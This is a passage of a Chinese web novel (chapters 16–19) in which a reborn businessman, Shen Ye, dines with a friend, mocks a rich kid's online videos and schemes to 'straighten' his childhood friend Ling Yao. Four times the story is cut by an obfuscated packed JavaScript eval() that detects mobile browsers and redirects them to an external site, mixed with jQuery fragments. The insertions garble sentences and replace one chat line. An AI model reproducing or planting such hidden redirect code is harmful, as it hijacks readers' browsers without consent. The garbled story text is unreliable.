说完,他弯腰收拾药瓶。刚转身,肩膀忽然被人轻轻碰了一下。 凌曜半倚在沙发,手肘撑着软垫,支着侧脸,委屈中带着火气:“你急什么?” 沈野懒得理会,动作不紧不慢:“我该回去了。” “你是不是急着跟谁约了?”凌曜忽然开口,声音里透着一丝凉意。 沈野回头,眼神透着点无语:“我像是那种有夜生活的人?” 凌曜眯着眼盯了他几秒,唇角勾起,慢慢吐出三个字:“……也不像。” 顿了顿,他冷嘲般补刀:“你一贯挺无趣的。” 像是气不过自己被忽视,明知道这是句挑刺的话,偏要说出口。 沈野看了他一眼,没接话,是真的不想再绕下去。 凌曜目光却一直跟着他下楼,清清冷冷,像是明摆着写了“不高兴”三个字。可惜沈野装没看见。 出了门,夜风一吹,沈野才松了口气。 夜里的庄园比白天更显气派。沿着台阶望下去,草坪修剪得平整笔直,水池里倒映着灯光,远处一排白色石柱撑起的长廊,华丽得像城堡。 风一吹,凌曜房间香薰蜡烛的味道还在袖口萦绕。 沈野站在台阶边,脑海里不由自主地闪过刚才那个场景。 暖气香风,钢琴烛台的,哪个直男会这么搞? 沈野在心里给凌曜下了结论:这人现在这么gay,还不是环境影响的。 他沈野要是真能把他拉回正道,以后就是大功一件。 想到这里,他冷静又坚定地点点头,打车回家。 他决定了。 从明天开始,进行更系统的掰直计划。 撸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779276|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁,下馆子,酒桌还有兄弟社交全安排上。不能给凌曜喘息的机会。 次日一早,沈野就忙得不可开交。 凌曜那点闹腾和香风氛围,到了天亮也就被抛在脑后。 一回到自己这摊子事上,他立刻把心思收紧,完全是另一副模样,所以一大早,他就出现在石头建投的会议室。 石明远已经等在那里,西装笔挺,手边放着一叠文件夹。 “沈总,合同我们这边修改了。” 石明远一见他,态度比之前更客气,起身递过一份红头文件。 “昨天我跟董事会开了个紧急会,决定按你说的走。” 沈野接过,扫了两眼,敏锐地发觉了变化。 他挑眉,道:“利润分成那一栏动过?” “动了。”石总有些不好意思地笑了笑,“你之前让我们预留了百分之十五的利润空间,说得对,昨天凌云集团那边有人直接放消息,说批不下来。” “所以,你那话要是没提醒,就亏大了,我今天就是来赔礼道歉的了。” 沈野没说话,只翻了翻文件,心里松了口气。 但其实这一步棋,他是赌的。 上辈子他在商场厮杀,吃过亏,也见过血。 他知道这地皮的背后牵扯着两派博弈。 上次饭局上,石总提了一嘴谁在抢项目,他就隐约猜出苗头。 这种项目,拼的不是谁背景硬,而是谁不踩雷。 事实证明,他赌对了。 “我会叫法务尽快走流程。”沈野把文件合上,语气不疾不徐,“今天我们那边就能出合同初稿,最好三天内定稿。” “好!”石明远松了口气,笑容真诚许多,“沈总,我是真服你。你年纪不大,心思可太老了。” “我二十六,不小了。”沈野淡淡道。 “你不是只靠沈总那个项目吧?”石明远忽然问,“你最近是不是在盯渝北那块旧改?” 沈野停了下脚,侧头看他一眼:“消息挺灵。” “老哥们私底下聊天呗。”石明远笑着,“你要真有资源,我手里还有两块地,也都卡在规划线那儿,咱可以一块搞。” “再看吧。”沈野没应声,转身离开。 出了会议室,他站在楼道里点了根烟,靠着窗沿缓了一下。 现在这项目是稳了,但接下来还有更难啃的。 渝北旧改那块,是块硬骨头。 地段好、位置好,但早年规划乱,牵涉太多既得利益。 更别说,那一带有不少地头蛇盯着,风一吹,都容易出事。 他爸是想拿下这块项目当翻身之战,但他很清楚,以沈家现在的体量,硬冲等于找死。 所以必须从多个方向,同时下口。 他还有时间,等现在这个项目走起来之后,可以好好去兼顾渝北这边。 不过,沈野长远的计划倒不是房地产。在未来,房地产一定是夕阳行业,而他的目标则是提前布局能源。 这时候手机响了一下,沈野看了下,是江乐君发来的。 【晚上有空没?老地方,几点你说了算。】 沈野看了一眼,嘴角终于有点笑意。 【行,六点见。】 太子生日宴之后,沈野这边的圈子也逐渐活络了起来。 许多原本上辈子因为他离开凌云集团后,慢慢断了联系的老朋友,这一世都重新找了回来。 尤其是江乐君。 17. 第 17 章 两人约在巷子深处的一家私厨。 这地方没招牌,门口只有一盏青铜灯笼,墙上爬满老藤,推开木门进去,别有洞天。 正院里只有四五张桌,雕花格窗,灯光温润,氤氲着一股雅气。 下午四点多,客人稀稀落落。 他们坐在靠窗的位置,沈野单手撩开椅背,肩宽腰窄的,整个人懒散地靠进去,倚在椅子上,自带一股清俊。 他五官本就深冷,剑眉星目,鼻尖那点小痣衬得五官更分明。 光线从木格窗透进来,落在他侧脸的弧线上,带着种酷酷的凌厉感。 江乐君翻着菜单,嘴上絮絮叨叨:“最近怎么回事?你跟凌曜走那么近?” 沈野抬手接过茶盏,动作闲散:“那家伙吃错药了,忽然就想回味童年,我有什么办法。” “得了吧。”江乐君“啪”地合上菜单,瞥他一眼,“总不能一辈子都当太子伴读吧。” 说完,他招手叫来服务生:“宋嫂鱼羹、尖椒鲈鱼,再加两道时蔬。” 沈野没吭声,懒懒靠着椅背,修长的手指在茶盏上磨了下。 江乐君忽然压低声音:“说起来——你注意到孙潇桡这两天动静没?” 沈野挑眉,不接话。 “别装冷漠啊。”江乐君皱眉,“这家伙朋友圈三天没更新了!你别觉得三天很正常。你想啊,孙潇桡什么性格?从他初中开始玩社交软件,哪天不是在朋友圈里秀鞋秀表秀自己?” ……好像是这么回事。 沈野从小就不太爱看这些东西,偶尔打开看看。 但好像每一次他打开,都能看见孙潇桡发东西。 最离谱的一次,是初中那年孙潇桡他爸上了财经日报的专题。 那期本来挺严肃,讲的是全市土地改造规划,孙敬礼穿西装站在项目图前,表情还挺板正。 结果当天上午十点,孙潇桡就发了一条空间动态。 【祝贺我爸孙敬礼成为封面人物,爸爸,儿子为你骄傲!】 转发评论全是笑疯了的表情,还有人打趣说“倒反天罡”。 那条朋友圈后来被他爸强制删除了,但当天中午他又发了一条晒鞋的,“我哥刚从A国带回来的,定制款,只此一双。抱歉,我也想低调,但我的鞋不允许。” 真的很尬。 江乐君摇摇头:“他要是没发自拍,那说明他今天脸绝对有问题。” 沈野慢条斯理地夹了一筷子青菜:“他脸有问题也能发啊,他不是最喜欢开美颜滤镜?” “你别岔开话题。”江乐君瞪他一眼,认真道,“你说,他不会真被他爸收拾了吧?” 沈野手上顿了一下。 他脑海里忽然闪过篮球馆那一幕。凌曜额角破了,脸色黑沉到能杀人。 他不由自主想:这事,不会跟那天打球有关吧? 上一世,他也曾惹过凌曜。 那次不是打球,是在他们关系最紧张的时期。 他拒绝了凌曜提出的一个合作提议,没想到凌曜真的发了火。 他没忍住,话说得太难听,觉得凌曜对他的掌控欲太强,简直像封建社会。 “新华国成立这么多年了,怎么凌家反而越来越封建了?” 这是他原话。 当时凌曜没吭声,脸色平静得像没事人。 可没过多久,他爸那边就出事了。 项目忽然卡壳,原本口头谈妥的审批也被撤回。 甚至,连内部熟人都一夜之间全都变了口风。 江乐君回忆了一下,道:“你还记得孙潇桡爸那次在校门口骂他吗?一骂就是半个小时,全校都听见了。” 沈野想了想,忽然抬手摸出手机。 “你干嘛?” “查查他是不是活着。” 江乐君愣住:“???” 沈野垂眼,唇线微抿,回忆了一下上辈子学到的小技巧。 孙潇桡爱玩,还喜欢玩互联网,当网红。 之前还在某音开了个账号,他刷到过,但早就忘记账号名是什么了。 于是他低头翻了翻手机,迅速在查找的那一栏,点开查找通讯录好友。 页面短暂加载了一下。 果然蹦出来个潮流网络男头像,ID叫做“冷欲止_”。 沈野嘴角抽搐。 这名字,一看就不正常。 他点进对方主页,果然,孙潇桡又更新了。 BGM是熟悉的“情绪低谷感伤DJ”混剪,一开口就是一串0.8倍速的劲爆英文歌。 画面则是他自己穿着一件松垮垮的黑卫衣,坐在自家豪华大阳台上。 头发用发胶抹得潇洒,手里端着一瓶可乐,迎着夕阳猛灌一口。 他只露了四分之一侧脸,可能是为了保护隐私。 再配上浮动字幕:“成长的代价就是没人听你解释。” 弹幕已经炸了: 【挖去,兄弟,太有实力了,这是你家吗】 【这配乐有种主角要黑化的感觉】 【看了一百个视频都不知道你长啥样】 【怎么了哥哥,不高兴了?】 沈野盯着屏幕,整个人差点笑出声,肩膀一抖。 这也太抽象了。 他默默点了个赞,然后递给江乐君:“人没事,在阳台搞气氛呢。” 江乐君看了下,那边很快回了两个字:“神经。” 沈野又看了看手机界面,眉头微微一挑。 他是真没想到,孙潇桡居然是个有二十多万粉丝的网红。 而更让沈野震惊的是—— 孙潇桡居然只挑头像是漂亮妹妹的留言回复。 【@葡萄汽水味_小软妹】:“谁能懂你呀,哥哥” 【孙潇桡回复】:“你懂就够了。比心.emoji,爱心.emoji” 【@温柔只给你】:“我也伤心了,想抱抱。” 【孙潇桡回复】:“来,给你抱一个。拥抱.emoji” 沈野一边看,一边震撼:“这家伙……” 江乐君在旁边,扒着桌沿探头,瞳孔地震:“我擦,这些漂亮妹妹眼睛瞎呀?!” “孙潇桡好装啊我靠,我以前一直好奇网络上那种抽象文案是谁在发,原来是他啊。” 沈野懒洋洋道:“他要是把这股劲儿用在事业上,早就赶超凌家了。” 他手指滑了滑,不自觉想起前世的事。 说来也怪,孙潇桡这人虽然花里胡哨,成绩不咋样,可过得一直挺滋润。 大学出国深造那几年,在异国混得风生水起,朋友圈一年四季晒豪车、晚宴、红酒、比基尼。 就是后面出了点意外。 他爸在国内不声不响地整了个大的,还代出了一对私生子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779277|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟弟妹妹,养得比谁都精贵。 等孙潇桡发现,整个人差点气到断气,连夜飞回国,大吼:“你要是敢让那对私生子回家,我们就同归于尽!!” 然后一摔门,连夜搬去住酒店。 沈野回过神,忍不住感慨一句:“这人的一生也是挺丰富多彩的。” 视频是自动连播的模式,此时正播到了另一条视频。 孙潇桡双手插兜,站在沙滩上,前面是一片深沉的大海,并在镜头前留下一个背影。 他寥落深情地望着远方,BGM依旧是伤感dj舞曲。 文字内容是:【这世界上只有两种人能伤我——我爸,和你。】 评论区,那人阴恻恻地置顶了一条自己的评论:【仗势欺人的bad guy,爷不会放过你的,不要以为我们叫你少爷我就不敢动你。】 然后配了药的emoji。 江乐君差点一口茶喷出来,咧开嘴朝沈野坏笑:“这意思,是在内涵你,还是在内涵太子爷啊?” 沈野单手搭在椅背上,剑眉轻挑,眼神淡淡:“你觉得我像会伤到他的人?” 话音未落,手机屏幕忽然亮起,是凌曜的消息。 他低头一看,干脆把那条视频转发了过去。 半晌,又收到了凌曜的消息。 【LY】:他说的那个人,不会是我吧。 沈野指尖停顿了一瞬,唇角若有若无一勾,回了一个字——【嗯】。 对面很快炸了。 凌曜那边发来漫长的省略号,道:“好丢人。” 沈野看着那行字,脑海里浮现出对方皱眉时矜贵又娇气的神态,有点想笑。 不过凌曜显然没打算就此罢休。 【LY】:不过说起来,他还欠我一双鞋。 沈野:“……嗯?” 【LY】:篮球场上说的。 【LY】:他说送我当做赔罪的礼物,结果我到现在都没见过盒子。 沈野无语:【你是认真记仇的。】 【LY】:当然。谁让我受伤了。 【LY】:再说,他还把我认成你的女朋友。 沈野看着那行字,险些一口茶呛出来。 他抬眼看吃得正欢江乐君,心想,要是孙潇桡知道凌曜特别小气吗?他这小命真得掂量掂量。 消息还在不断跳进来。 凌曜显然坐在某个安静的房间里,边敲字边等他回复。 【LY】:你别忘了。 【LY】:你说过每天都要来给我敷药。 最后那句话带着点无形的命令意味,尾音又似乎有点小小的依赖。 沈野盯着屏幕,指尖摩挲了一下手机边缘,才慢悠悠敲了几个字: 【沈野】:吃完饭再过去。 对面安静了半分钟,才发来一个看似漫不经心的回复。 【LY】:……行吧,那你快点。 沈野合上手机,这时菜也上齐了,他拿起筷子。 这家伙从小就娇蛮惯了,张口就是命令。 可真要不理他吧,就像喷火霸王龙一样,动静闹得特别大。 江乐君一眼瞧见他唇角抿笑,惊讶:“你还笑?你还在看孙潇桡的视频吗?” 沈野摇摇头。 不过他想了想,要不还是提醒孙潇桡一下吧。 毕竟孙潇桡还是替自己背锅的人。 18. 第 18 章 菜一道道上齐。 厨师是从川粤各地请来的老先生,刀工精细,火候拿捏得极准。尖椒鲈鱼很嫩,鱼肉一筷子下去就散开,入口鲜嫩,带着细细的甜味。 江乐君吃得很满意,细细品了一下,赞叹:“这地方不错啊,比咱们之前去的那家馆子好多了。” 他倒是不大爱吃日料,也觉得海鲜不如河鲜美味。 沈野也觉得味道不错,两个人有一搭没一搭地聊着。 “你一会儿去哪?”江乐君忽然开口。 沈野夹了块鱼肉,停顿了下,坦率道:“凌家。” 江乐君筷子一顿,差点掉在碗里:“……我没听错吧?你只身闯虎穴干嘛?” 沈野眼皮都没抬,语气也有点抱怨:“帮他擦药。” “……” 江乐君愣了足足三秒,不可置信地笑出声:“沈哥,太子伴读就算了。你什么时候沦落到当太子的专职护工了?” 沈野低头扒了两口饭,没接他的话,只淡淡道:“我也不愿意,有什么办法。你也不知道不知道他那公主脾气,揪着我非要我负责,不知道的还以为我怎么他了。” 江乐君撑着下巴笑了笑,靠在椅背上,额前一缕新染的栗色头发滑下来,衬得整个人看起来像刚毕业的大学生。 他和沈野同岁,从小一个班,打小就混在一起。 江家在国内也算小有背景,跟凌家虽不在一个量级,但他爸为凌家做事,也能分到点汤喝。 小时候他也去过凌家,亲眼看过那个太子爷是怎么被人捧在掌心里的。 “你知道吗?”江乐君摇了摇筷子,带着点调侃,“我小学那会第一次去你们家打球,半路被大人叫去凌家吃饭。你猜怎么着?那时候太子爷吃个糖醋排骨,都得阿姨先给他挑掉小骨头,放到他碗里。” 沈野抬眼看了他一眼,没说话。 “我当时心里就想,这小子以后非得被宠坏不可。”江乐君说着,自己也乐了,“结果现在看,还真让老子说中了。” “你不也一样,小时候他叫你去,你不还是屁颠屁颠跟着跑?”沈野淡淡道。 “嗐,那时候,谁敢不跑啊。”江乐君耸耸肩,一副非常想得开的样子,“再说了,我们家哪能跟凌家比?真惹毛他,别说我要被揍了,就连我爸公司那点破买卖都得遭殃。” 沈野低头夹了一点蔬菜,唇角没什么表情。 江乐君见状,叹了口气,语气正经了几分:“不过说实话,沈哥,你脾气是真倔,还在和凌曜对着干,我看啊,我们这圈人,就你对凌曜最不客气。换别人早就认命了,反正谁还没点依附?偏偏你是那种吃软不吃硬的。” “我也没主动往前凑,明明前两年也好好的,不知怎么这段时间忽然又找上门了。”沈野淡声回了一句。 江乐君挑了挑眉,没再多问,只举杯跟他碰了一下。 “行,哥们我也懒得劝你。你自己心里有数就行。” 两人碰杯,茶水在灯下泛着光。 ------------------------------------- 与此同时,城市另一头。 孙潇桡正瘫在自家大床上,脸朝天,眼神空洞。两块冰袋胡乱贴在脸颊上,整个人肿得像刚出锅的大馒头,半点也没有往日的气派。 他已经消失整整三天。 准确说,自从篮球馆那晚,他就直接人间蒸发。 那天夜里,他窝在酒店浴袍里装死,死活不敢回家。 他太清楚他爸的脾气。一旦回去,等着他的绝不是什么温情脉脉的家访,而是开门见山的棍棒教育。 一拳一个包的那种。 裹着被子,他刷起了自己以前拍的视频。 背景音乐是某音热门的伤感DJ版《天黑黑》,画面是他在奢侈品专柜潇洒买单的背影。 屏幕上慢悠悠浮出一行字:——“我不要很多很多的钱,我要很多很多的爱。” 他本意是想炫耀一把,最好能博来几个小迷妹心疼,发条“哥哥你还好吗”。 结果评论区跑偏: 【装哔遭雷劈,装哔四圈家】 【家里的老东西被查就老实了】 【哦,你不要钱啊。那你把钱给我】 孙潇桡:“……” 好不容易发现了一个说【富哥哥好帅呀求你给我签个名吧 配图.jpg】 他笑嘻嘻地回了个“OK”,结果一打开配图。 ……图片上是死亡笔记。 “靠!”他气得直掀被子,赶紧把回复删了。 正打算发一条“滚”字的时候,手机屏幕骤然亮了起来。 【孙敬礼:限你十分钟之内滚回家】 “?” 他瞳孔一缩,刚要把他爸拉入黑名单,下一秒,银行 app 弹出提示音: 【您的银行卡已暂停使用】 “???” 孙潇桡一下从床上蹦了起来,险些被自己脚绊倒:“不是吧?这么快动手?” 他赶紧打车回去,刚一踏进客厅,就看见茶几上摆着一根削得锃亮的藤条。 孙父双手背在身后,目光冷得像刀子。下一秒,“啪”地一声,把藤条拍到桌上。 “你小子脑子里灌的是水吗?” “爸……”孙潇桡刚想解释,就被劈头盖脸一句话给砸回去了: “你怎么敢把凌曜的头打破?你知不知道他爸是谁?他要真出事,你整个家族都得给我背锅!” “你是嫌命太长,还是嫌皮太紧?!” 话音未落,一巴掌结结实实呼在他后脑勺上。 孙潇桡惨叫一声:“啊啊啊!我不是故意的!!” “不是故意的你也打?!”孙父气得发抖,手指直戳他脑门,“老子让你周末在家好好待着,你偏要出去丢人现眼!打球也能惹事?还偏偏惹到太子头上?!” “你今天不掉层皮,我就不姓孙!” 于是,整个别墅里回荡的都是“啪啪”声和孙潇桡杀猪般的惨嚎。 一个小时后,孙潇桡坐在自己床上,眼圈红红的,脸肿得跟发酵馒头似的。 靠,这么大了还要被爸爸打,太特么丢人了。 他幽怨地叹气,把一边冰袋摘下来,手指小心翼翼地按了按发烫的脸颊,疼得他眼泪差点飙出来。 “老天爷啊……”他幽怨地望着天花板,“……” 他再度叹气,眼珠子一转,又想到了什么。 “不过……我这是替沈野背锅啊。” 一想到这里,他居然还有点小得意,嘴角忍不住往上翘:“那孙子欠我一个天大的人情。” 可这笑容还没持续三秒,脸颊就一阵抽痛,他“嗷”地一声翻起身,在床上打了个滚。 说曹操曹操到,孙潇桡手机一震。 他打开一看,竟然正好是沈野的消息。 【SY】:你欠太子那双限量鞋,什么时候打算还? 孙潇桡:“???” “你他妈是来收债的吗!” 他气得想发语音,张嘴刚吭出声,又意识到自己脸肿得说话都漏风,骂人都不利索,只好恨恨摁着键盘敲字: 【Sun_cold】: 老子现在半条命都快没了你知道吗?!还鞋?!你知道我为了你挨了几巴掌吗?! 【Sun_cold】: 我爸差点把我打成木乃伊送进大英博物馆!你现在居然让我还鞋! 【Sun_cold】:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779278|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈野你还有没有良心!! 过了两秒,沈野的回复悠悠飘来。 【SY】:这不是我问的,是凌曜刚才看到你的视频,想起来你欠他一双鞋。 孙潇桡脸色僵住。 他像个受了惊吓的小仓鼠,定在床上半晌,发出一声低吼:“他居然还在关注我视频?!” “凌曜这个人,他是不是故意看我不顺眼啊,他怎么可能缺这双鞋。” “也太记仇了吧!” 他说完又坐直了身子,脸疼,心更疼。 “我好歹也是个有二十多万粉丝的男人……” “现在被打成这样,还要被催债,我好惨一男的!” 他冷冷打下几个字发过去:【你也不帮我说句话,你还是人吗?】 消息甫一发出,隔了两分钟,沈野才慢悠悠地回: 我不是,我是太子的工具人。 孙潇桡:“……” 【Sun_cold】: 你他妈还有脸自称工具人,你拿我当挡箭牌那会儿怎么不说呢! 沈野秒回: 【SY】: 要不然我俩角色互换一下? 【SY】: 你来当太子贴身奶妈,天天给他擦药、哄睡、给他醒酒的那种。 孙潇桡盯着这两行字,愣了愣,心底却冒出一丝古怪。 他们都是从小就认识凌曜的。那会儿的凌曜,虽然脾气大,却没矫情到要奶妈贴身伺候。 怎么成年了,反而越来越娇气了? 他狐疑地敲字: 【?】 【你们感情发展到这程度了?】 【我擦,我对我女朋友都不会这样,你该不会喜欢他吧?】 孙潇桡越想越觉得有道理,怪不得凌曜的生日要专门回国办,他就说这人故意折腾干什么,合着是为了沈野? 沈野直接发来一个语音,窸窸窣窣的,听起来像在外面吃饭,带点无语: “我是直的,谢谢。” 孙潇桡沉默了一下。 孙潇桡沉默两秒,气鼓鼓地打字: 【我就不服气,明明都是一起长大的,太子凭啥就对你那么好。】 沈野盯着这行字看了几秒,手指悬在屏幕上,没回。 啧,很好吗?他其实也不明白。 凌曜该推锅的时候,二话不说把孙潇桡丢出去;可平时却又死死揪着他不放,大小姐脾气一出来,吵吵嚷嚷要他伺候。 这人真是矛盾得很。 沈野呼了口气,把手机合上。与其纠结这些,不如早点想想——怎么把凌曜掰直。 收了手机,沈野盯着江乐君几秒,忽然问:“你说,怎么才能让一个人更直一点?” 江乐君顿住,狐疑地看了他一眼。 “你认真的?” “废话。”沈野单手拧开可乐,靠在椅背上,神情懒散又冷俊,“男的,年纪不大。” “行吧。” 江乐君若有所思,“你是想掰正谁?不是说你自己吧?” 沈野没好气道:“你看我像吗?” 江乐君默默观察了一下。 对面是一张俊朗冷峻的脸,剑眉星目,鼻尖那颗细痣在灯光下若隐若现。 肩背宽阔,手腕上那块价值不菲的江诗丹顿泛着金属的冷光,举手投足带着股洒脱的气质。 怎么看怎么不像弯的。 江乐君松了口气,回答他的问题:“第一,得刺激他接受异性美的能力。比如,多看点女团,多刷短视频,别整天封闭自己。” 沈野摸摸下巴,若有所思:“那他要是刷的是男团呢?” 江乐君:“……” 他真的很想问,你问的到底是谁啊。 19. 第 19 章 “那只能加大剂量,强灌。” 江乐君一本正经,手里筷子还指了指沈野,“审美是可以纠正的。” “第二,让他去直男密集区。”他说着眼睛一亮,“要不让他来我那边见见世面?” 沈野挑眉:“你说娱乐公司?” “对啊,我爸不是分管凌家的娱乐公司吗?旗下那几支小男团,全是正统训练营出身,身高腿长,肌肉线条拉满,天天训练房里汗如雨下。” 江乐君一脸自豪:“你带他去转一圈,说不定就被阳刚气息同化了。” 沈野差点笑出声。 他上辈子就知道,这些所谓“阳刚气息”的小男团,内部还有队员暗搓搓谈恋爱,最后翻车上了热搜,评论区一水儿“宫中禁止对食”。 沈野揉揉额角:“……你这是什么邪门理论?” 江乐君呵呵一笑,“环境决定认知!你不懂。” 沈野犹豫了一下,为了自家兄弟的小钱钱,他坦白道:“你最好盯紧一点,那个主唱和主舞,他们貌似有一腿。” 江乐君摇摇头。 “怎么可能,他俩都是男的。那么多男团炒cp,双方都还是喜欢年轻漂亮小妹妹呢,之前还有一个沾染未成年的,现在已经在踩缝纫机了。想要男的弯,不是那么容易的。” 良言难劝该死的鬼,沈野张了张嘴,不打算和他继续探讨这个问题。 等以后有风声了,再重新提醒一下,那个时候江乐君估计就信了。 江乐君还在认认真真给沈野出主意,“还有一个办法,直接给他安排个女朋友。” 沈野险些把手里的碗碰翻,冷声:“你疯了吧?” 江乐君立刻摆手:“我不是说真谈,感情得靠缘分。我意思是,先安排点接触对象。哪怕只是带他去参加个聚会,周围都是漂亮姐姐,视觉冲击下,也能激发点性别意识。” 他煞有介事:“人的本能是有趋向的,说白了,就是诱导。” “你现在要做的,就是用正面的刺激,引导他‘哎我好像喜欢女生’的本能。” 沈野盯着他,半天才吐出三个字:“……训狗呢?” 沈野摆摆手,这个建议他不打算参考。 上次周瑟琳那样,自己都兴致勃勃,想试探的倒还好。 但其他女生又不是牺牲品,干嘛要把好端端的姑娘牵扯进来。 那可怪倒霉的。 江乐君正讲得带劲,神秘兮兮地拍拍他结实的小臂:“还有,还有一个压轴招。” “你多和他接触。” 沈野皱眉:“嗯?” “我说你陪着他,好好让他感受一下你的男子气概。”江乐君一本正经地数着指头,“打球撸铁,一起洗桑拿,滑雪飙车,怎么硬怎么来。” “让他潜移默化,觉得,‘哎,和兄弟在一块儿才爽,这才是真爷们气概’。” 沈野原本冷着脸,听到“飙车”两个字,眼皮微微一跳。 这倒是个办法。 至少,比拉姑娘下水靠谱得多。 他忽然想起,上辈子凌曜十六岁时,曾偷着跑去地下赛车场飙车。 回来被老爷子关了整整一个星期,结果刚放出来,这人还一脸骄傲地问自己“是不是很酷”。 那时候他就想把凌曜脑袋拧下来。 可话说回来,那确实比他现在窝在家里放钢琴曲、点熏香强。 不过……他总不能莫名其妙跑去找凌曜,说一句“走,咱俩去飙车”。那听起来,太奇怪。 得找个由头。 江乐君正琢磨,还是没想到是谁。于是狐疑盯了他一眼:“哎,你说的那位,到底是谁啊?是圈里的么,搞得我好奇得要死。” 沈野被看得心虚,随口糊弄:“反正不是你。” 江乐君:“……行吧。” 沈野偏过头,装作若无其事咬着吸管,心里暗暗松了口气。 他想了想,顺手岔开话题:“对了,听说最近凌曜有台新车刚到国内?” 江乐君接话:“你说那台法拉利?还在清关呢,我听肖展颜说,凌曜嫌太慢了,天天嚷嚷。” 沈野“嗯”了一声,眼底却慢慢浮起几分若有所思。 沈野饶有兴趣道:“我那台911 Turbo S。正好刚做完底盘保养。” 江乐君秒懂,笑道:“可以啊,这就是典型借车邀约。” “你说你那车四驱稳,底盘也不错,操控感嘛也挺好的,问他要不要试试手感嘛。说不定,就正合他胃口。” 沈野抬眼看了他一眼,没说什么。 江乐君还在絮叨:“这可比拉姑娘下水靠谱多了,你就看着吧,要是真爱车的人,肾上腺素飙起来,那感觉甭提多带劲了。” 沈野没再搭话,抬手看了眼表,准备结账。 一顿饭吃完,他心里大概已有了主意。 这事不能急,也不能太刻意。先晾两天,再装作顺手借车给凌曜试驾。以太子的性格,一脚油门踩下去,估计就刹不住了。 就当让他释放点荷尔蒙。 说到底,直男不都是靠速度、爆点和荷尔蒙熏陶出来的? 也许从这一脚油门开始,太子就能变回正常人。 他甩甩脑袋,把不合时宜的回忆甩出去,顺手点开手机。 凌曜的聊天框里,一条新消息正跳出来: 【LY】:头又开始疼了,沈野,你什么时候过来? 沈野盯着屏幕,沉默几秒,回了句:【晚饭还没吃完。】 对面几乎秒回: 【LY】:可是我不会抹,我在等你来。 紧接着又一条: 【LY】:快点嘛,我在等你。 沈野:“……” 他本来想吐槽这人又使唤他,但这一刻,沈野忽然意识到一个更大的问题。 要是这人真的上了他的车,俩人得单独待一个多小时, 万一太子又突然发病,很折腾他,他又该怎么办? 是不是应该找个纯种大直男压场? 比如……孙潇桡? 沈野盯着屏幕想了半天,开始犹豫要不要真把这个二世祖拉下水。 还没来得及决定,凌曜的新消息又接连弹出来: 【LY】:沈野,你现在和谁一起的? 【LY】:十秒钟了,你怎么不回消息的 【LY】:你说你在外面吃晚饭,不会是在骗我吧?发个视频比个6我看看。 沈野盯着屏幕,指尖慢慢收紧。 啧。 虽然他觉得凌曜未必真对自己怎么样,可有些事,不能赌。 —— 沈野一路故意拖拖拉拉,开车晃到凌家时已经是九点多了。 庄园静悄悄的,偌大的庭院灯光雪亮。 沈野把自家G63一停,抬眼就瞥见门口那排罕见车牌的豪车,他的车硬是显得低调了几分。 郑叔已经在门口等着,快步迎上来,笑容温温吞吞,藏不住眼底的紧张:“沈少,您可算来了。” “怎么,他又闹脾气了?”沈野慢悠悠问。 郑叔苦笑,小声道:“说头疼,谁劝都不肯。厨房怕他再摔东西,就特地熬了碗甜水端进去。” “甜水?”沈野挑眉,脚步一顿。 郑叔耐心解释:“椰汁炖燕窝,加了几颗西洋参片,温过火的,甜度调得刚好。少爷小时候心情不好,夫人就常让人这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779279|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样哄。” 沈野摇摇头,当着郑叔的面不好说什么,腹诽,都二十二的人了,怎么还用这法子。 郑叔像是猜到他在想什么,叹气道:“没办法,您也知道,少爷心思最难哄。” 楼上的走廊静得出奇,厚厚的进口地毯,把两人的脚步声都吞掉。偶尔能听见隐隐一声动静,像是有人不耐烦踢了床沿。 沈野没再多问,跟着上楼。 推门进去时,屋里灯光柔和,窗帘厚厚拉着,空气里还残留着甜腻的椰汁味。 凌曜靠在床头,丝绸睡衣松松垮垮,头发半散不散,手里端着一只白瓷盅,慢吞吞舀着那碗燕窝甜水。 瓷勺轻轻碰到碗壁,发出“叮”的一声,他才抬眼。 那双眼睛乌沉沉的,带着点儿没来由的哀怨,像是等久了。 “沈野,你怎么才来啊……”他语气不高不低,带着点闹脾气的委屈,“头都疼死了。” 